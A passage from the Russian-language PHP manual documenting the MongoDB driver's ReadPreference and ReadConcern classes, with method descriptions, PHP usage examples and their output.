У этой функции нет параметров.

Возвращаемые значения

Возвращает объект сериализации ReadPreference как BSON.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadPreference::bsonSerialize() с первичным предпочтением чтения

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (1) {
  ["mode"]=>
  string(7) "primary"
}

{ "mode" : "primary" }

Пример #2 Пример использования MongoDB\Driver\ReadPreference::bsonSerialize() с вторичным предпочтением чтения и наборами тегов

<?php

$rp = new MongoDB\Driver\ReadPreference(
MongoDB\Driver\ReadPreference::RP_SECONDARY,
[
['dc' => 'ny'],
['dc' => 'sf', 'use' => 'reporting'],
[]
]
);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["tags"]=>
  array(3) {
    [0]=>
    object(stdClass)#1 (1) {
      ["dc"]=>
      string(2) "ny"
    }
    [1]=>
    object(stdClass)#5 (2) {
      ["dc"]=>
      string(2) "sf"
      ["use"]=>
      string(9) "reporting"
    }
    [2]=>
    object(stdClass)#4 (0) {
    }
  }
}

{ "mode" : "secondary", "tags" : [ { "dc" : "ny" }, { "dc" : "sf", "use" : "reporting" }, {  } ] }

Пример #3 Пример использования MongoDB\Driver\ReadPreference::bsonSerialize() с вторичным предпочтением чтения и максимальным staleness

<?php

$rp = new MongoDB\Driver\ReadPreference(
MongoDB\Driver\ReadPreference::RP_SECONDARY,
null,
['maxStalenessSeconds' => 120]
);
var_dump($rp->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rp));

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["maxStalenessSeconds"]=>
  int(120)
}

{ "mode" : "secondary", "maxStalenessSeconds" : 120 }

Смотрите также

  • MongoDB\BSON\Serializable::bsonSerialize() - Предоставляет массив или документ для сериализации в BSON
  • » Справочная информация по предпочтению чтения

User Contributed Notes

There are no user contributed notes for this page.


Создать новый ReadPreference

  • « MongoDB\Driver\ReadPreference::bsonSerialize
  • MongoDB\Driver\ReadPreference::getHedge »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Создать новый ReadPreference

MongoDB\Driver\ReadPreference::__construct

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::__construct — Создать новый ReadPreference

Описание

final public MongoDB\Driver\ReadPreference::__construct(string|int $mode, ?array $tagSets = null, ?array $options = null)

Создаёт новый MongoDB\Driver\ReadPreference, который является неизменяемым объектом значения.

Список параметров

mode

Режим предпочтения чтения
Значение Описание
MongoDB\Driver\ReadPreference::RP_PRIMARY or "primary"

Все операции считывается из текущего первичного узла набора реплик. Это предпочтение чтения по умолчанию для MongoDB.

MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED or "primaryPreferred"

В большинстве ситуаций операции считываются из первичного узла, но если он недоступен, операции считываются из вторичных узлов.

MongoDB\Driver\ReadPreference::RP_SECONDARY или "secondary"

Все операции считываются из вторичных узлов набора реплик.

MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED или "secondaryPreferred"

В большинстве ситуаций операции считываются из вторичных членов, но если вторичные члены недоступны, операции считываются из первичного узла.

MongoDB\Driver\ReadPreference::RP_NEAREST or "nearest"

Операции считываются из члена набора реплик с наименьшей задержкой сети, независимо от типа члена.

tagSets

Наборы тегов позволяют настраивать операции чтения для определённых членов набора реплик. Этот параметр должен быть массивом ассоциативных массивов, каждый из которых содержит ноль или несколько пар ключ-значение. При выборе сервера для операции чтения драйвер пытается выбрать узел, имеющий все теги в наборе (т.е. ассоциативный массив пар ключ-значение). Если выбор не удался, the driver will attempt subsequent sets. Пустой набор тегов (array()) будет соответствовать любому узлу и может использоваться как резервный.

Теги не совместимы с режимом MongoDB\Driver\ReadPreference::RP_PRIMARY, и, как правило, применяется только при выборе вторичного члена набора для операции чтения. Однако режим MongoDB\Driver\ReadPreference::RP_NEAREST в сочетании с набором тегов, выбирает соответствующий член с наименьшей задержкой сети. Этот член может быть первичным или вторичным.

options

options
Опция Тип Описание
hedge object|array

Указывает, использовать ли » хеджированные чтения, которые поддерживаются MongoDB 4.4+ для закрытых запросов.

Хеджированные чтения с сервера доступны для всех неосновных предпочтений чтения и включаются по умолчанию при использовании режима "nearest". Этот параметр позволяет явно разрешить чтение с хеджированием на сервере для неосновных предпочтений чтения, указав ['enabled' => true], или явно отключив серверное чтение с хеджированием для предпочтения чтения "nearest", указав ['enabled' => false].

maxStalenessSeconds int

Определяет максимальное отставание репликации или "staleness", для чтения из вторичных узлов. Когда оцениваемая staleness вторичных узлов превышает это значение, драйвер прекращает использовать её для операций чтения.

Если указано, максимальный staleness должен быть 32-битным числом без знака, большим или равным MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS.

По умолчанию используется MongoDB\Driver\ReadPreference::NO_MAX_STALENESS, что означает, что драйвер не будет учитывать отставания вторичных узлов при выборе направления для операции чтения.

Этот параметр несовместим с режимом MongoDB\Driver\ReadPreference::RP_PRIMARY. Указание максимальной staleness также требует, чтобы все экземпляры MongoDB в развёртывании использовали MongoDB 3.4+. Исключение будет выброшено во время выполнения, если экземпляры MongoDB в развёртывании имеют более старую версию.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При некорректном mode выбрасывает MongoDB\Driver\Exception\InvalidArgumentException
  • Если tagSets предоставляется как первичное предпочтение чтения или имеет неправильный формат (т.е. не массив из нуля или более документов) выбрасывает MongoDB\Driver\Exception\InvalidArgumentException.
  • Если опция "maxStalenessSeconds" предоставляется для первичного предпочтения чтения или находится вне диапазона, выбрасывает MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.8.0 | Добавлен параметр "hedge".
PECL mongodb 1.3.0 | Аргумент mode теперь принимает строковое значение, которое соответствует URI-опции "readPreference" для MongoDB\Driver\Manager::__construct().
PECL mongodb 1.2.0 | Добавлен третий аргумент options, который поддерживает параметр "maxStalenessSeconds".

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadPreference::__construct()

<?php

/* Предпочитать вторичный узел, но в случае отказа отступить к первичному. */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED));

/* Предпочитать узел в Нью-Йоркском центре обработки данных с минимальной задержкой. */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_NEAREST, [['dc' => 'ny']]));

/* Требуется дополнительный узел, чья задержка репликации находится в пределах двух минут от основного */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, ['maxStalenessSeconds' => 120]));

/* Явно включить хеджирование чтения на сервере */
var_dump(new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, ['hedge' => ['enabled' => true]]));

?>

Результат выполнения данного примера:

object(MongoDB\Driver\ReadPreference)#1 (1) {
  ["mode"]=>
  string(18) "secondaryPreferred"
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(7) "nearest"
  ["tags"]=>
  array(1) {
    [0]=>
    object(stdClass)#2 (1) {
      ["dc"]=>
      string(2) "ny"
    }
  }
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["maxStalenessSeconds"]=>
  int(120)
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(9) "secondary"
  ["hedge"]=>
  object(stdClass)#1 (1) {
    ["enabled"]=>
    bool(true)
  }
}

Смотрите также

  • » Руководство по предпочтению чтения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает опцию "hedge" из ReadPreference

  • « MongoDB\Driver\ReadPreference::__construct
  • MongoDB\Driver\ReadPreference::getMaxStalenessSeconds »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Возвращает опцию "hedge" из ReadPreference

MongoDB\Driver\ReadPreference::getHedge

(mongodb >=1.8.0)

MongoDB\Driver\ReadPreference::getHedge — Возвращает опцию "hedge" из ReadPreference

Описание

final public MongoDB\Driver\ReadPreference::getHedge(): ?object

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает опцию "hedge" из ReadPreference.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • » документация по Read Preference

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметр "maxStalenessSeconds" ReadPreference

  • « MongoDB\Driver\ReadPreference::getHedge
  • MongoDB\Driver\ReadPreference::getMode »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Возвращает параметр "maxStalenessSeconds" ReadPreference

MongoDB\Driver\ReadPreference::getMaxStalenessSeconds

(mongodb >=1.2.0)

MongoDB\Driver\ReadPreference::getMaxStalenessSeconds — Возвращает параметр "maxStalenessSeconds" ReadPreference

Описание

final public MongoDB\Driver\ReadPreference::getMaxStalenessSeconds(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает параметр "maxStalenessSeconds" ReadPreference. Если не указана максимальная staleness, возвращается MongoDB\Driver\ReadPreference::NO_MAX_STALENESS.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadPreference::getMaxStalenessSeconds()

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
'maxStalenessSeconds' => MongoDB\Driver\ReadPreference::NO_MAX_STALENESS,
]);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
'maxStalenessSeconds' => MongoDB\Driver\ReadPreference::SMALLEST_MAX_STALENESS_SECONDS,
]);
var_dump($rp->getMaxStalenessSeconds());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY, null, [
'maxStalenessSeconds' => 1000,
]);
var_dump($rp->getMaxStalenessSeconds());

?>

Результат выполнения данного примера:

int(-1)
int(-1)
int(90)
int(1000)

Смотрите также

  • » Руководство по предпочтению чтения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметр "mode" ReadPreference

  • « MongoDB\Driver\ReadPreference::getMaxStalenessSeconds
  • MongoDB\Driver\ReadPreference::getModeString »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Возвращает параметр "mode" ReadPreference

MongoDB\Driver\ReadPreference::getMode

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::getMode — Возвращает параметр "mode" ReadPreference

Описание

final public MongoDB\Driver\ReadPreference::getMode(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает параметр "mode" ReadPreference

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadPreference::getMode()

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY_PREFERRED);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED);
var_dump($rp->getMode());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_NEAREST);
var_dump($rp->getMode());

?>

Результат выполнения данного примера:

int(1)
int(5)
int(2)
int(6)
int(10)

Смотрите также

  • MongoDB\Driver\ReadPreference::getModeString() - Возвращает опцию "mode" объекта ReadPreference в виде строки
  • » Руководство по предпочтению чтения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает опцию "mode" объекта ReadPreference в виде строки

  • « MongoDB\Driver\ReadPreference::getMode
  • MongoDB\Driver\ReadPreference::getTagSets »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Возвращает опцию "mode" объекта ReadPreference в виде строки

MongoDB\Driver\ReadPreference::getModeString

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::getModeString — Возвращает опцию "mode" объекта ReadPreference в виде строки

Описание

final public MongoDB\Driver\ReadPreference::getModeString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает опцию "mode" объекта ReadPreference в виде строки.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadPreference::getModeString()

<?php

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::PRIMARY);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::PRIMARY_PREFERRED);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::SECONDARY);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::SECONDARY_PREFERRED);
var_dump($rp->getModeString());

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::NEAREST);
var_dump($rp->getModeString());

?>

Результат выполнения данного примера:

string(7) "primary"
string(16) "primaryPreferred"
string(9) "secondary"
string(18) "secondaryPreferred"
string(7) "nearest"

Смотрите также

  • MongoDB\Driver\ReadPreference::getMode() - Возвращает параметр "mode" ReadPreference
  • » Документация по Read Preference

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметр "tagSets" ReadPreference

  • « MongoDB\Driver\ReadPreference::getModeString
  • MongoDB\Driver\ReadPreference::serialize »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Возвращает параметр "tagSets" ReadPreference

MongoDB\Driver\ReadPreference::getTagSets

(mongodb >=1.0.0)

MongoDB\Driver\ReadPreference::getTagSets — Возвращает параметр "tagSets" ReadPreference

Описание

final public MongoDB\Driver\ReadPreference::getTagSets(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает параметр "tagSets" ReadPreference.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadPreference::getTagSets()

<?php

$mode = MongoDB\Driver\ReadPreference::RP_SECONDARY_PREFERRED;

/* Как и null, так и пустой массив, обозначают, что не будут установлены теги для предпочтения. */
$rp = new MongoDB\Driver\ReadPreference($mode, null);
var_dump($rp->getTagSets());

$rp = new MongoDB\Driver\ReadPreference($mode, []);
var_dump($rp->getTagSets());

/* Выбрать узел в Нью-Йорке, но вернуться к любому доступному резервному узлу. */
$rp = new MongoDB\Driver\ReadPreference($mode, [['dc' => 'ny']]);
var_dump($rp->getTagSets());

/* Выбрать узел в Нью-Йорке, за которым следует узел в Сан-Франциско,
который помечен для использования для отчётов, и, наконец, вернуться к любому доступному резервному узлу. */
$rp = new MongoDB\Driver\ReadPreference($mode, [
['dc' => 'ny'],
['dc' => 'sf', 'use' => 'reporting'],
[],
]);
var_dump($rp->getTagSets());

?>

Результат выполнения данного примера:

array(0) {
}
array(0) {
}
array(2) {
  [0]=>
  array(1) {
    ["dc"]=>
    string(2) "ny"
  }
  [1]=>
  array(0) {
  }
}
array(3) {
  [0]=>
  array(1) {
    ["dc"]=>
    string(2) "ny"
  }
  [1]=>
  array(2) {
    ["dc"]=>
    string(2) "sf"
    ["use"]=>
    string(9) "reporting"
  }
  [2]=>
  array(0) {
  }
}

Смотрите также

  • » Справочная информация по предпочтению чтения

User Contributed Notes

There are no user contributed notes for this page.


Сериализация ReadPreference

  • « MongoDB\Driver\ReadPreference::getTagSets
  • MongoDB\Driver\ReadPreference::unserialize »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Сериализация ReadPreference

MongoDB\Driver\ReadPreference::serialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::serialize — Сериализация ReadPreference

Описание

final public MongoDB\Driver\ReadPreference::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\Driver\ReadPreference.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\ReadPreference::unserialize() - Десериализация ReadPreference
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Десериализация ReadPreference

  • « MongoDB\Driver\ReadPreference::serialize
  • MongoDB\Driver\ReadConcern »
  • PHP Manual
  • MongoDB\Driver\ReadPreference
  • Десериализация ReadPreference

MongoDB\Driver\ReadPreference::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadPreference::unserialize — Десериализация ReadPreference

Описание

final public MongoDB\Driver\ReadPreference::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\Driver\ReadPreference.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Бросает исключение MongoDB\Driver\Exception\UnexpectedValueExceptionесли возникла невозможно произвести десериализацию свойства, например если значение serialized не корректно.
  • Бросает исключение MongoDB\Driver\Exception\InvalidArgumentException если свойства не корректны, например пропущены поля или они имеют некорректные значения.

Смотрите также

  • MongoDB\Driver\ReadPreference::serialize() - Сериализация ReadPreference
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\ReadConcern

(mongodb >=1.1.0)

Введение

MongoDB\Driver\ReadConcern контролирует уровень изоляции для операций чтения для наборов реплик и сегментов наборов реплик. Эта опция требует MongoDB 3.2 или новее.

Обзор классов

final class MongoDB\Driver\ReadConcern implements MongoDB\BSON\Serializable, Serializable {
/* Константы */
const string AVAILABLE = "available";
const string LINEARIZABLE = "linearizable";
const string LOCAL = "local";
const string MAJORITY = "majority";
const string SNAPSHOT = "snapshot";
/* Методы */
final public bsonSerialize(): stdClass
final public __construct(?string $level = null)
final public getLevel(): ?string
final public isDefault(): bool
final public serialize(): string
final public unserialize(string $data): void
}

Предопределённые константы

MongoDB\Driver\ReadConcern::AVAILABLE

По умолчанию для чтения против вторичных, когда afterClusterTime и level не указаны.

Запрос возвращает самые последние данные экземпляра. Не гарантирует, что данные были записаны большинству членов набора реплик (то есть могут быть откаты).

Для неохраняемых коллекций (включая коллекции в автономном развёртывании или развёртывании набора реплик), "local" и "available" гарантии чтения ведут себя одинаково.

Для сегментированного кластера "available" гарантии чтения обеспечивает большую терпимость для разделов, поскольку она не ожидает гарантий согласованности. Однако запрос с "available" гарантиями чтения может вернуть потерянные документы, если в сегменте выполняется миграция фрагментов, поскольку "available" гарантий чтения, в отличие от "local" гарантий чтения, не связывается с первичным сервером сегмента или серверами конфигурации для получения обновлённых метаданных.

MongoDB\Driver\ReadConcern::LINEARIZABLE

Запрос возвращает данные, которые отражают все успешные записи, выпущенные с гарантиями записи "majority" и подтверждённые до начала операции чтения. Для наборов реплик, которые выполняются с параметром writeConcernMajorityJournalDefault, установленным в значение true, линеаризуемые гарантии чтения возвращают данные, которые никогда не будут откатываться.

Если для writeConcernMajorityJournalDefault задано значение false, MongoDB не будет ожидать, что w: "majority" записей будет устойчивым, прежде чем подтвердить записи. Таким образом, операции записи "majority" могут откатываться в случае потери члена набора реплик.

Вы можете указать линеаризуемые гарантии чтения для операций чтения только на основном сервере.

Линеаризуемые гарантии чтения применяются только в том случае, если в операциях чтения указан фильтр запроса, который однозначно идентифицирует один документ.

Подсказка

Всегда используйте maxTimeMS с линеаризуемыми гарантиями чтения, если большинство элементов, несущих данные, недоступно. maxTimeMS гарантирует, что операция не блокируется бесконечно, и вместо этого гарантирует, что операция возвращает ошибку, если проблема чтения не может быть выполнена.

Для линеаризуемых гарантий чтения требуется MongoDB 3.4.

MongoDB\Driver\ReadConcern::LOCAL

По умолчанию для чтения по первичному, если level не указан, и для чтения по вторичному, если level не указан, но задано afterClusterTime.

Запрос возвращает самые последние данные экземпляра. Не гарантирует, что данные были записаны большинству членов набора реплик (то есть могут быть откаты).

MongoDB\Driver\ReadConcern::MAJORITY

Запрос возвращает самые последние данные экземпляра, которые были признаны записанными большинству членов в наборе реплик.

Чтобы использовать уровень гарантий чтения "majority", наборы реплик должны использовать механизм хранения WiredTiger и протокол выбора версии 1.

MongoDB\Driver\ReadConcern::SNAPSHOT

Гарантия чтения "snapshot" доступна для транзакций с несколькими документами, а начиная с MongoDB 5.0 также доступна для некоторых операций чтения не только для транзакций с несколькими документами.

Если транзакция не является частью причинно-согласованного сессии, после фиксации транзакции с проблемой записи "majority", операции транзакции гарантированно прочитают из моментального снимка зафиксированных большинством данных.

Если транзакция является частью причинно-согласованной сессии, при фиксации транзакции с проблемой записи "majority", операции транзакции гарантированно считывают из моментального снимка данные, подтверждённые большинством, что обеспечивает причинную согласованность с операций, непосредственно предшествующей началу транзакции.

Вне транзакций с несколькими документами, проблема чтения "snapshot" доступна на первичных и вторичных серверах для следующих операций чтения: find, aggregate и distinct (для необработанных коллекций). Все остальные команды чтения запрещают "snapshot".

Список изменений

Версия | Описание
PECL mongodb 1.11.0 | Добавлена константа MongoDB\Driver\ReadConcern::SNAPSHOT.
PECL mongodb 1.7.0 | Реализует Serializable.
PECL mongodb 1.4.0 | Добавлена константа MongoDB\Driver\ReadConcern::AVAILABLE.
PECL mongodb 1.2.0 | Добавлена константа MongoDB\Driver\ReadConcern::LINEARIZABLE. Реализует MongoDB\BSON\Serializable.

Смотрите также

  • » Справка по гарантиям чтения

Содержание

  • MongoDB\Driver\ReadConcern::bsonSerialize — Возвращает объект для сериализации BSON
  • MongoDB\Driver\ReadConcern::__construct — Создаёт новый ReadConcern
  • MongoDB\Driver\ReadConcern::getLevel — Возвращает опцию "level" ReadConcern
  • MongoDB\Driver\ReadConcern::isDefault — Проверяет, является ли гарантией чтения по умолчанию
  • MongoDB\Driver\ReadConcern::serialize — Сериализация ReadConcern
  • MongoDB\Driver\ReadConcern::unserialize — Десериализация ReadConcern

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект для сериализации BSON

  • « MongoDB\Driver\ReadConcern
  • MongoDB\Driver\ReadConcern::__construct »
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Возвращает объект для сериализации BSON

MongoDB\Driver\ReadConcern::bsonSerialize

(mongodb >=1.2.0)

MongoDB\Driver\ReadConcern::bsonSerialize — Возвращает объект для сериализации BSON

Описание

final public MongoDB\Driver\ReadConcern::bsonSerialize(): stdClass

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект для сериализации ReadConcern, как BSON.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadConcern::bsonSerialize() с пустыми гарантиями чтения

<?php

$rc = new MongoDB\Driver\ReadConcern;
var_dump($rc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rc));

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (0) {
}

{ }

Пример #2 Пример использования MongoDB\Driver\ReadConcern::bsonSerialize() с локальными гарантиями чтения

<?php

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);
var_dump($rc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rc));

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (1) {
  ["level"]=>
  string(5) "local"
}

{ "level" : "local" }

Смотрите также

  • MongoDB\BSON\Serializable::bsonSerialize() - Предоставляет массив или документ для сериализации в BSON
  • » Справка по гарантиям чтения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый ReadConcern

  • « MongoDB\Driver\ReadConcern::bsonSerialize
  • MongoDB\Driver\ReadConcern::getLevel »
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Создаёт новый ReadConcern

MongoDB\Driver\ReadConcern::__construct

(mongodb >=1.0.0)

MongoDB\Driver\ReadConcern::__construct — Создаёт новый ReadConcern

Описание

final public MongoDB\Driver\ReadConcern::__construct(?string $level = null)

Создаёт новый MongoDB\Driver\ReadConcern, который является объектом неизменяемого значения.

Список параметров

level

» Уровень гарантий чтения. Вы можете использовать, но не ограничиваясь этим, одну из констант класса.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadConcern::__construct()

<?php

/* Неуказанный уровень изоляции чтения (использует поведение сервера по умолчанию) */
$rc = new MongoDB\Driver\ReadConcern();

/* Запрашиваем изоляцию чтения от одного узла набора реплик */
$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);

/* Запрашиваем изоляцию чтения от большинства узлов набора реплик */
$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);

?>

Смотрите также

  • » Справка по гарантиям чтения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает опцию "level" ReadConcern

  • « MongoDB\Driver\ReadConcern::__construct
  • MongoDB\Driver\ReadConcern::isDefault »
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Возвращает опцию "level" ReadConcern

MongoDB\Driver\ReadConcern::getLevel

(mongodb >=1.0.0)

MongoDB\Driver\ReadConcern::getLevel — Возвращает опцию "level" ReadConcern

Описание

final public MongoDB\Driver\ReadConcern::getLevel(): ?string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает опцию "level" ReadConcern.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadConcern::getLevel()

<?php

$rc = new MongoDB\Driver\ReadConcern();
var_dump($rc->getLevel());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);
var_dump($rc->getLevel());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);
var_dump($rc->getLevel());

?>

Результат выполнения данного примера:

NULL
string(5) "local"
string(8) "majority"

Смотрите также

  • » Справка по гарантиям чтения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли гарантией чтения по умолчанию

  • « MongoDB\Driver\ReadConcern::getLevel
  • MongoDB\Driver\ReadConcern::serialize »
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Проверяет, является ли гарантией чтения по умолчанию

MongoDB\Driver\ReadConcern::isDefault

(mongodb >=1.3.0)

MongoDB\Driver\ReadConcern::isDefault — Проверяет, является ли гарантией чтения по умолчанию

Описание

final public MongoDB\Driver\ReadConcern::isDefault(): bool

Возвращает, является ли это гарантией чтения по умолчанию (т.е. параметры не указаны). Этот метод в первую очередь предназначен для использования в сочетании с MongoDB\Driver\Manager::getReadConcern(), чтобы определить, был ли построен Manager без каких-либо гарантий чтения.

Драйвер не будет включать в себя гарантии чтения по умолчанию в своих операциях чтения (например, MongoDB\Driver\Manager::executeQuery()), чтобы сервер мог применять свои собственные значения по умолчанию. Библиотеки, которые обращаются к гарантиям чтения Manager, чтобы включить его в свои собственные команды чтения, должны использовать этот метод, чтобы гарантировать, что гарантии чтения по умолчанию остаются неустановленными.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если это гарантии чтения по умолчанию, и false в противном случае.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\ReadConcern::isDefault()

<?php

$rc = new MongoDB\Driver\ReadConcern(null);
var_dump($rc->isDefault());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);
var_dump($rc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/?readConcernLevel=majority');
$rc = $manager->getReadConcern();
var_dump($rc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/');
$rc = $manager->getReadConcern();
var_dump($rc->isDefault());

?>

Результат выполнения данного примера:

bool(true)
bool(false)
bool(false)
bool(true)

Смотрите также

  • MongoDB\Driver\Manager::getReadConcern() - Возвращает ReadConcern для Manager
  • » Справка по гарантиям чтения

User Contributed Notes

There are no user contributed notes for this page.


Сериализация ReadConcern

  • « MongoDB\Driver\ReadConcern::isDefault
  • MongoDB\Driver\ReadConcern::unserialize »
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Сериализация ReadConcern

MongoDB\Driver\ReadConcern::serialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadConcern::serialize — Сериализация ReadConcern

Описание

final public MongoDB\Driver\ReadConcern::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\Driver\ReadConcern.

Ошибки

